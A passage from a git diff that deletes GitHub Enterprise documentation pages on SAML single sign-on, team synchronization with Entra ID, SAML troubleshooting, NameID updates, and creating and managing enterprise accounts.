transport method for your IdP from step 9. -1. Click **Save settings**. -{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} - -If you enabled SAML debugging to test authentication with encrypted assertions, disable SAML debugging when you're done testing. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging). - -## SAML signing certificate for AuthnRequests - -With encrypted assertions, {% data variables.product.prodname_ghe_server %} relies on the SAML signing certificate private key to decrypt assertions. This certificate is automatically generated when {% data variables.product.prodname_ghe_server %} is set up, and it is valid for 10 years. - -You can find more details about the SAML signing certificate, how long it is valid for, and how to regenerate it if needed in [AUTOTITLE](/admin/managing-iam/iam-configuration-reference/saml-configuration-reference#saml-signing-certificate-for-authnrequests). diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/index.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/index.md deleted file mode 100644 index 3b0456f7e3ff..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using SAML for enterprise IAM -shortTitle: SAML for enterprise IAM -intro: 'You can centrally manage {% ifversion ghes %}accounts and {% endif %}access to {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghec %}your enterprise''s resources{% endif %} with SAML single sign-on (SSO){% ifversion ghec %} and System for Cross-domain Identity Management (SCIM){% endif %}.' -versions: - ghec: '*' - ghes: '*' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account - - /admin/authentication/managing-identity-and-access-for-your-enterprise - - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider - - /enterprise/admin/articles/configuring-saml-authentication - - /enterprise/admin/articles/about-saml-authentication - - /enterprise/admin/user-management/using-saml - - /enterprise/admin/authentication/using-saml - - /admin/authentication/using-saml - - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml - - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml - - /admin/identity-and-access-management/using-saml-for-enterprise-iam -children: - - /deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations - - /configuring-saml-single-sign-on-for-your-enterprise - - /managing-team-synchronization-for-organizations-in-your-enterprise - - /configuring-saml-single-sign-on-for-your-enterprise-using-okta - - /disabling-saml-single-sign-on-for-your-enterprise - - /enabling-encrypted-assertions - - /updating-a-users-saml-nameid - - /switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - - /troubleshooting-saml-authentication ---- - -{% data reusables.enterprise-accounts.emu-saml-note %} diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md deleted file mode 100644 index 9c5c627a7e66..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Managing team synchronization for organizations in your enterprise -intro: 'You can enable team synchronization between Microsoft Entra ID (previously known as Azure AD) and {% data variables.product.github %} to allow organizations owned by your enterprise account to manage team membership through IdP groups.' -permissions: Enterprise owners can manage team synchronization for an enterprise account. -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise - - SSO - - Teams -redirect_from: - - /github/setting-up-and-managing-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/managing-team-synchronization-for-organizations-in-your-enterprise-account - - /admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise -shortTitle: Manage team synchronization ---- - -{% data reusables.enterprise-accounts.emu-scim-note %} - -## About team synchronization for enterprise accounts - -If you use SAML at the enterprise level with Entra ID as your IdP, you can enable team synchronization for your enterprise account to allow organization owners and team maintainers to synchronize teams in the organizations owned by your enterprise accounts with IdP groups. - -{% data reusables.identity-and-permissions.about-team-sync %} - -{% ifversion team-sync-manage-org-invites %} -{% data reusables.identity-and-permissions.team-sync-org-invites %} -{% endif %} - -{% data reusables.identity-and-permissions.sync-team-with-idp-group %} - -{% data reusables.identity-and-permissions.team-sync-disable %} - -You can also configure and manage team synchronization for an individual organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). - -{% data reusables.identity-and-permissions.team-sync-usage-limits %} - -## Prerequisites - -* You must use an Entra ID commercial tenant, not Gov Cloud. -* You or your Entra ID administrator must be a Global administrator or a Privileged Role administrator in Entra ID. -* You must enforce SAML single sign-on for organizations in your enterprise account with your supported IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). -* You must authenticate to your enterprise account using SAML SSO and the supported IdP. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on). - -## Managing team synchronization for Entra ID - -{% data reusables.identity-and-permissions.team-sync-azure-permissions %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -{% data reusables.identity-and-permissions.team-sync-confirm-saml %} -{% data reusables.identity-and-permissions.enable-team-sync-azure %} -{% data reusables.identity-and-permissions.team-sync-confirm %} -1. Review the details for the IdP tenant you want to connect to your enterprise account, then click **Approve**. -1. To disable team synchronization, under "Team synchronization", click **Disable team synchronization**. - -{% ifversion team-sync-manage-org-invites %} - -## Managing whether team synchronization can re-invite non-members to organizations - -{% data reusables.saml.team-sync-pending-invites %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "Team synchronization", select or deselect **Do not allow Team Sync to re-invite past members to organizations that were removed by an organization owner.** -{% endif %} diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md deleted file mode 100644 index 8134d09dd54a..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Switching your SAML configuration from an organization to an enterprise account -intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration. -permissions: Enterprise owners can configure SAML single sign-on for an enterprise account. -versions: - ghec: '*' -topics: - - Authentication - - Enterprise - - Organizations -type: how_to -shortTitle: From organization to enterprise -redirect_from: - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - - /admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account ---- - -## About SAML single sign-on for enterprise accounts - -{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} - -{% data reusables.saml.switching-from-org-to-enterprise %} - -When you configure SAML SSO at the organization level, each organization must be configured with a unique SSO tenant in your IdP, which means that your members will be associated with a unique SAML identity record for each organization they have successfully authenticated with. If you configure SAML SSO for your enterprise account instead, each enterprise member will have one SAML identity that is used for all organizations owned by the enterprise account. - -After you configure SAML SSO for your enterprise account, the new configuration will override any existing SAML SSO configurations for organizations owned by the enterprise account. Any team synchronization settings you have configured will also be removed from these organizations. - -* Your organization members will be removed from {% data variables.product.prodname_dotcom %} teams following the removal of the organization's team synchronization settings. -* If you intend to re-enable team synchronization, before enabling SAML SSO for your enterprise, take note of the current team sync configuration in the affected organizations. See [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization). - - You will need to re-add your organization members to {% data variables.product.prodname_dotcom %} teams after re-enabling team synchronization. -* Schedule a time to make changes to your organization's team synchronization settings when people aren't actively using your organization's resources. Changes to team synchronization may result in some downtime for your members. - -Enterprise members will not be notified when an enterprise owner enables SAML for the enterprise account. If SAML SSO was previously enforced at the organization level, members should not see a major difference when navigating directly to organization resources. The members will continue to be prompted to authenticate via SAML. If members navigate to organization resources via their IdP dashboard, they will need to click the new tile for the enterprise-level app, instead of the old tile for the organization-level app. The members will then be able to choose the organization to navigate to. - -Any {% data variables.product.pat_generic %}s, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were previously authorized for the organization will continue to be authorized for the organization. However, members will need to authorize any PATs, SSH keys, {% data variables.product.prodname_oauth_apps %}, and {% data variables.product.prodname_github_apps %} that were never authorized for use with SAML SSO for the organization. - -SCIM provisioning is not currently supported when SAML SSO is configured for an enterprise account. If you are currently using SCIM for an organization owned by your enterprise account, you will lose this functionality when switching to an enterprise-level configuration. - -You are not required to remove any organization-level SAML configurations before configuring SAML SSO for your enterprise account, but you may want to consider doing so. If SAML is ever disabled for the enterprise account in the future, any remaining organization-level SAML configurations will take effect. Removing the organization-level configurations can prevent unexpected issues in the future. - -For more information about the decision to implement SAML SSO at the organization or enterprise level, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#considerations-for-enabling-saml-for-an-enterprise-or-organization). - -## Switching your SAML configuration from an organization to an enterprise account - -1. Enforce SAML SSO for your enterprise account, making sure all organization members are assigned or given access to the IdP app being used for the enterprise account. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). -1. If you kept any organization-level SAML configurations in place, to prevent confusion, consider hiding the tile for the organization-level apps in your IdP. -1. Advise your enterprise members about the change. - * Members will no longer be able to access their organizations by clicking the SAML app for the organization in the IdP dashboard. They will need to use the new app configured for the enterprise account. - * Members will need to authorize any PATs or SSH keys that were not previously authorized for use with SAML SSO for their organization. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) and [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). - * Members may need to reauthorize {% data variables.product.prodname_oauth_apps %} that were previously authorized for the organization. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso). diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md deleted file mode 100644 index 450714d49a2f..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/troubleshooting-saml-authentication.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Troubleshooting SAML authentication -shortTitle: Troubleshoot SAML SSO -intro: 'If you use SAML single sign-on (SSO) and people are unable to authenticate to access {% data variables.product.github %}, you can troubleshoot the problem.' -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - Security - - SSO - - Troubleshooting -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication ---- - -{% ifversion ghes %} - -## About problems with SAML authentication - -{% data variables.product.prodname_ghe_server %} logs error messages for failed SAML authentication in the systemd journal logs for the `github-unicorn` container. You can review responses in this log, and you can also configure more verbose logging. - -For more information about SAML response requirements, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-response-requirements). - -## Configuring SAML debugging - -You can configure {% data variables.product.prodname_ghe_server %} to write verbose debug logs for every SAML authentication attempt. You may be able to troubleshoot failed authentication attempts with this extra output. - -> [!WARNING] -> * Only enable SAML debugging temporarily, and disable debugging immediately after you finish troubleshooting. If you leave debugging enabled, the size of the logs increases much faster than usual, which can negatively impact the performance of {% data variables.product.prodname_ghe_server %}. -> * Test new authentication settings for {% data variables.location.product_location %} in a staging environment before you apply the settings in your production environment. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.options-tab %} -1. Under "SAML debugging", select the drop-down and click **Enabled**. -1. Attempt to sign into {% data variables.location.product_location %} through your SAML IdP. -1. Review the debug output in the systemd journal for `github-unicorn`on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs#system-logs-in-the-systemd-journal-for-github-enterprise-server). -1. When you're done troubleshooting, select the drop-down and click **Disabled**. - -## Decoding responses - -Some output in the systemd journal for `github-unicorn` may be Base64-encoded. You can access the administrative shell and use the `base64` utility on {% data variables.location.product_location %} to decode these responses. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -To decode the output, run the following command, replacing ENCODED_OUTPUT with the encoded output from the log. - -```shell -base64 --decode ENCODED_OUTPUT -``` - -## Error: "Another user already owns the account" - -When a user signs into {% data variables.location.product_location %} for the first time with SAML authentication, {% data variables.product.github %} creates a user account on the instance and maps the SAML `NameID` and `nameid-format` to the account. - -When the user signs in again, {% data variables.product.prodname_ghe_server %} compares the account's `NameID` and `nameid-format` mapping to the IdP's response. If the `NameID` or `nameid-format` in the IdP's response no longer matches the values that {% data variables.product.github %} expects for the user, the sign-in will fail. The user will see the following message. - -> Another user already owns the account. Please have your administrator check the authentication log. - -The message typically indicates that the person's username or email address has changed on the IdP. Ensure that the `NameID` and `nameid-format` mapping for the user account on {% data variables.product.prodname_ghe_server %} matches the user's `NameID` and `nameid-format` on your IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid). - -## Error: Recipient in SAML response was blank or not valid - -If the `Recipient` does not match the ACS URL for {% data variables.location.product_location %}, one of the following two error messages will appear in the authentication log when a user attempts to authenticate. - -```text -Recipient in the SAML response must not be blank. -``` - -```text -Recipient in the SAML response was not valid. -``` - -Ensure that you set the value for `Recipient` on your IdP to the full ACS URL for {% data variables.location.product_location %}. For example, `https://ghe.corp.example.com/saml/consume`. - -## Error: "SAML Response is not signed or has been modified" - -If your IdP does not sign the SAML response, or the signature does not match the contents, the following error message will appear in the authentication log. - -```text -SAML Response is not signed or has been modified. -``` - -Ensure that you configure signed assertions for the {% data variables.product.github %} application on your IdP. - -## Error: "Audience is invalid" or "No assertion found" - -If the IdP's response has a missing or incorrect value for `Audience`, the following error message will appear in the authentication log. - -```text -Audience is invalid. Audience attribute does not match https://YOUR-INSTANCE-URL -``` - -Ensure that you set the value for `Audience` on your IdP to the `EntityId` for {% data variables.location.product_location %}, which is the full URL to your instance. For example, `https://ghe.corp.example.com`. -{% endif %} - -{% data reusables.saml.current-time-earlier-than-notbefore-condition %} - -{% ifversion ghec %} -{% data reusables.saml.authentication-loop %} -{% endif %} diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md deleted file mode 100644 index 44590c7c70d5..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/updating-a-users-saml-nameid.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Updating a user's SAML NameID -shortTitle: Update SAML NameID -intro: 'When an account''s `NameID` changes on your identity provider (IdP) and the person can no longer {% ifversion ghes %}sign into {% data variables.location.product_location %}{% elsif ghec %}authenticate to access your enterprise''s resources{% endif %}, you must {% ifversion ghec %}either contact {% data variables.product.company_short %} Support or revoke the person''s linked identity{% elsif ghes %}update the `NameID` mapping on {% data variables.location.product_location %}{% endif %}.' -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid ---- - -## About updates to users' SAML `NameID` - -In some situations, you may need to update values associated with a person's account on your SAML IdP. If that identifier is also the `NameID` that you use for authentication on {% data variables.product.github %}, you must update the `NameID` mapping on your instance so the person can continue to authenticate successfully. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). - -To update user SAML `NameID` mappings in bulk, you can use the `ghe-saml-mapping-csv` command. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/command-line-utilities#ghe-saml-mapping-csv). - -{% ifversion scim-for-ghes-ga %} -When SCIM is enabled on your {% data variables.product.prodname_ghe_server %} instance, you cannot update user SAML `NameID` mappings. -{% endif %} - -## Updating a user's SAML `NameID` - -Enterprise owners can update a user's SAML `NameID` on a {% data variables.product.github %} instance. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, click **All users**. -1. In the list of users, click the username you'd like to update the `NameID` mapping for. -{% data reusables.enterprise_site_admin_settings.security-tab %} -1. To the right of "Update SAML NameID", click **Edit** . -1. In the "NameID" field, type the new `NameID` for the user. -1. Click **Update NameID**. diff --git a/content/admin/managing-your-enterprise-account/about-enterprise-accounts.md b/content/admin/managing-your-enterprise-account/about-enterprise-accounts.md deleted file mode 100644 index 5d5a0e2ece7e..000000000000 --- a/content/admin/managing-your-enterprise-account/about-enterprise-accounts.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: About enterprise accounts -intro: Learn how enterprise accounts enable scalability by simplifying administration and billing across multiple organizations. -redirect_from: - - /articles/about-github-business-accounts - - /articles/about-enterprise-accounts - - /enterprise/admin/installation/about-enterprise-accounts - - /enterprise/admin/overview/about-enterprise-accounts - - /github/setting-up-and-managing-your-enterprise-account/about-enterprise-accounts - - /github/setting-up-and-managing-your-enterprise/about-enterprise-accounts - - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts - - /admin/overview/about-enterprise-accounts -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Accounts - - Enterprise - - Fundamentals ---- - -## What are enterprise accounts? - -<!-- expires 2025-06-30 --> - -<!-- When this expires, check with the stakeholder for release #4079 on whether or not the content is still needed --> - -{% ifversion ghec %} -> [!NOTE] Currently, {% data variables.product.prodname_ghe_cloud %} customers who use a single organization are being automatically upgraded to an enterprise account at no additional cost. For details, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-an-enterprise-account#what-will-happen-after-i-upgrade-my-organization). -{% endif %} - -<!-- end expires 2025-06-30 --> - -An enterprise account enables centralized management for **multiple organizations**. - -Administrators for the enterprise account can: - -* View and manage enterprise membership -* Manage billing and usage -* Configure security, such as single sign-on, IP allow lists, SSH certificate authorities, and two-factor authentication -* Stream audit and Git events data -* Use internal repositories -* Access features like {% data variables.product.prodname_copilot_enterprise %} and {% data variables.product.prodname_AS %}{% ifversion ghas-products %} products{% endif %} -* Enforce policies. See [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies). - -{% ifversion ghec %} - -{% data reusables.enterprise.create-an-enterprise-account %} See [AUTOTITLE](/admin/managing-your-enterprise-account/creating-an-enterprise-account). - -{% endif %} - -## What if I use multiple deployment options? - -If you use both {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}, you'll have an enterprise account for each. - -For the most part, you will manage each enterprise account separately. For example, you will configure the policies and settings for your {% data variables.product.prodname_ghe_server %} instance using the enterprise account on {% data variables.product.prodname_ghe_server %}. - -However, you can also use the enterprise account on {% data variables.product.prodname_ghe_cloud %} to view all license usage across all deployments. This allows you to ensure people with accounts in both environments only consume one user license. See [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud). - -## What if I only use {% data variables.product.prodname_ghe_server %}? - -Even if you **only** use {% data variables.product.prodname_ghe_server %}, we recommend creating an enterprise account on {% data variables.product.prodname_ghe_cloud %}. This will make it easier to contact {% data variables.contact.enterprise_support %} and share support bundles with them. - -To create an additional enterprise account on {% data variables.product.prodname_ghe_cloud %}, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). - -## Further reading - -* [AUTOTITLE](/graphql/guides/managing-enterprise-accounts) in the GraphQL API documentation {% ifversion ghec %} -* [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise){% endif %} diff --git a/content/admin/managing-your-enterprise-account/changing-the-url-for-your-enterprise.md b/content/admin/managing-your-enterprise-account/changing-the-url-for-your-enterprise.md deleted file mode 100644 index bc6a4596ab17..000000000000 --- a/content/admin/managing-your-enterprise-account/changing-the-url-for-your-enterprise.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Changing the URL for your enterprise -intro: 'If you want to change the URL where your enterprise is accessed, you can change your enterprise slug.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise -permissions: Enterprise owners can change the URL for the enterprise. -shortTitle: Change enterprise URL ---- - -## About changes to enterprise slugs - -When you create an enterprise, you choose a "slug" for the enterprise, which is a string used in the URL for your enterprise. For example, if you chose `octo-enterprise` as the slug, the URL for your enterprise on {% data variables.product.prodname_dotcom_the_website %} would be `https://github.com/enterprises/octo-enterprise`. - -If your company pays for {% data variables.product.prodname_ghe_cloud %} by credit card or PayPal, you can change the slug in the settings for your enterprise. When you change the slug, {% data variables.product.company_short %} does not set up any redirects from the old URL. Your old enterprise slug will immediately become available for another customer to use. - -> [!NOTE] -> If you pay for {% data variables.product.prodname_ghe_cloud %} via invoice, or if your enterprise uses {% data variables.product.prodname_emus %}, you must contact {% data variables.contact.contact_enterprise_sales %} to change your enterprise slug. - -## Considerations when changing your enterprise slug - -Before changing the slug for an enterprise, ensure you have considered any parts of your enterprise's configuration, automations, or processes that may depend on the old enterprise slug. To minimize disruption, you should address these points either immediately before or immediately after changing the slug. - -Parts of your system that may be affected by changing the slug include, but are not limited to, the following. - -### SAML single sign-on (SSO) - -If you have enabled SAML single sign-on (SSO) at the enterprise level, you will need to reconfigure the settings in your identity provider (IdP) to use the new enterprise slug. When you change your slug, existing IdP sessions are not revoked, but your members won't be able to use SSO to access resources in your enterprise until you update the IdP settings. If you have enabled SAML or SCIM at the organization level, changing the slug will not affect SSO. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -Before changing the slug, to ensure you will have access to your enterprise even if SSO is not working, we recommend you download the recovery codes for your enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes). - -### API endpoints - -Many {% data variables.product.company_short %} API endpoints for managing an enterprise take the enterprise slug as a parameter. If you use these endpoints in automations, you will need to update the API calls to use the new slug. API calls that use the old slug will stop working immediately. The enterprise ID, which can be used as an alternative to the slug in many cases, is not affected by a slug change. - -### OpenID Connect with {% data variables.product.prodname_actions %} workflows - -If you use OpenID Connect (OIDC) in {% data variables.product.prodname_actions %} workflows, and have configured your cloud provider to only accept tokens from a unique URL that includes your enterprise slug, you will need to update the settings in your cloud provider. To prevent workflows from failing, the most robust option is to configure your provider to accept tokens from both the old and new slug just before you change the slug. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-issuer-value-for-an-enterprise). - -### {% data variables.product.prodname_github_connect %} - -If your enterprise is linked to one or more {% data variables.product.prodname_ghe_server %} instances via {% data variables.product.prodname_github_connect %}, after changing the slug, you'll need to reset the connection by disabling and then reenabling {% data variables.product.prodname_github_connect %}. For more information, see [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/managing-github-connect) in the {% data variables.product.prodname_ghe_server %} documentation. - -## Changing the enterprise slug - -> [!NOTE] -> Before changing the slug for an enterprise, make sure you have understood the potential consequences. For more information, see [Considerations when changing your enterprise slug](#considerations-when-changing-your-enterprise-slug). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} - -1. At the bottom of the page, in the "Danger zone" section, click **Change enterprise URL slug**. -1. In the "Change enterprise URL slug" dialog, follow the instructions, then click **Change enterprise slug URL**. diff --git a/content/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise.md b/content/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise.md deleted file mode 100644 index f0d7c601699b..000000000000 --- a/content/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Creating a README for an enterprise -intro: 'You can create a README to tell your members what is happening in your enterprise.' -versions: - feature: enterprise-readme -type: how_to -topics: - - Accounts - - Enterprise -permissions: Enterprise owners can create and edit an enterprise README. -shortTitle: Create a README ---- - -## About READMEs for enterprises - -{% data reusables.enterprise.about-readmes %} - -The README is displayed on the enterprise's "Overview" page, which is the landing page you see when you navigate to the enterprise. This page is only visible to members of the enterprise. - -You can also create READMEs for organizations in your enterprise, visible either publicly or only to members. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile). - -## Creating a README for an enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -1. On the "Overview" page, click **Create README**. If a README is already present on the page, click **Edit**. -1. Write the content for your README. You can use Markdown to format the content, such as adding headings, images, and lists. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). - - >[!NOTE] You can only link to publicly hosted images in your README. You cannot upload an image to your README, or link to an image from a private repository. - -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme) diff --git a/content/admin/managing-your-enterprise-account/creating-an-enterprise-account.md b/content/admin/managing-your-enterprise-account/creating-an-enterprise-account.md deleted file mode 100644 index da83171816eb..000000000000 --- a/content/admin/managing-your-enterprise-account/creating-an-enterprise-account.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Creating an enterprise account -intro: "Learn the steps and effects of creating an enterprise account." -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise - - Fundamentals -permissions: Organization owners -product: '{% data variables.product.prodname_ghe_cloud %}' -shortTitle: Create enterprise account -redirect_from: - - /admin/overview/creating-an-enterprise-account ---- - -<!-- expires 2025-06-30 --> - -<!-- When this expires, check with the stakeholder for release #4079 on whether or not the content is still needed --> -<!-- If the content is no longer needed, delete this entire article and all links to it. --> - -{% data reusables.enterprise.single-organizations-enterprise-migration %} - -<!-- end expires 2025-06-30 --> - -## When should I create an enterprise account? - -{% data variables.product.prodname_ghe_cloud %} allows you to create an enterprise account, which enables collaboration between **multiple organizations** and gives administrators a single point of visibility and management. See [AUTOTITLE](/admin/managing-your-enterprise-account/about-enterprise-accounts). - -In most cases, you can create an enterprise account **yourself**. - -* When you start a free trial of {% data variables.product.prodname_ghe_cloud %}, you'll create an enterprise account as part of the process. See [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). -* If you currently use {% data variables.product.prodname_ghe_cloud %} with a single organization, you can upgrade to an enterprise account by following the steps later in this article. - -You'll **need help** creating an enterprise account if you require: - -* {% data variables.product.prodname_ghe_server %} -* {% data variables.enterprise.data_residency %} -* Invoicing -* A dedicated enterprise for managing {% data variables.product.prodname_copilot_for_business %} licenses without adopting {% data variables.product.prodname_enterprise %} - -In these cases, contact {% data variables.contact.contact_enterprise_sales %}. - -## What will happen after I upgrade my organization? - -The following changes also apply to single organizations that are automatically upgraded to an enterprise account. For details, see [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2024-06-19-upcoming-automatic-upgrade-to-the-enterprise-account-experience/). - -* **Ownership transfer:** Your organization will automatically be owned by the enterprise account. For details, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#about-addition-of-organizations-to-your-enterprise-account). -* **Ownership roles:** All organization owners will become enterprise owners. -* **Billing details:** The organization’s billing details will now apply to the enterprise account. -* **Billing managers:** All organization billing managers will become enterprise billing managers. -* **Billing process:** {% data variables.product.company_short %} will bill the enterprise account for usage within **all** organizations owned by the enterprise. -* **Enterprise account name:** During the upgrade, the new enterprise account name will match your organization name or be as close as possible if taken. You can rename it after the upgrade. -* **SAML SSO:** Existing SAML SSO will stay at the organization level after being added to the new enterprise account. You can configure SSO at the enterprise level post-upgrade, which will override the organization level. Existing PATs and SAML-authorized tokens will remain unchanged. -* **Policies:** The new enterprise account starts with no policies, so existing organization policies won't be overridden. -* **Spending limits:** Existing organization spending limits transfer to the new enterprise account. Post-upgrade, billing is handled at the enterprise level. To adjust spending limits, at the top of the page, click {% octicon "credit-card" aria-hidden="true" %} **Billing & Licensing**. -* **Coupons:** Existing coupons will carry over to the new enterprise account with no interruptions. -* **Workflow permissions:** The new enterprise account will inherit your organization's workflow permissions. If the organization has a permissive setting ("Read and write"), the enterprise account will also default to permissive. Otherwise, it defaults to restrictive ("Read repository contents and packages"). For workflows with the id-token permission, the default changes to read-only due to a February 2023 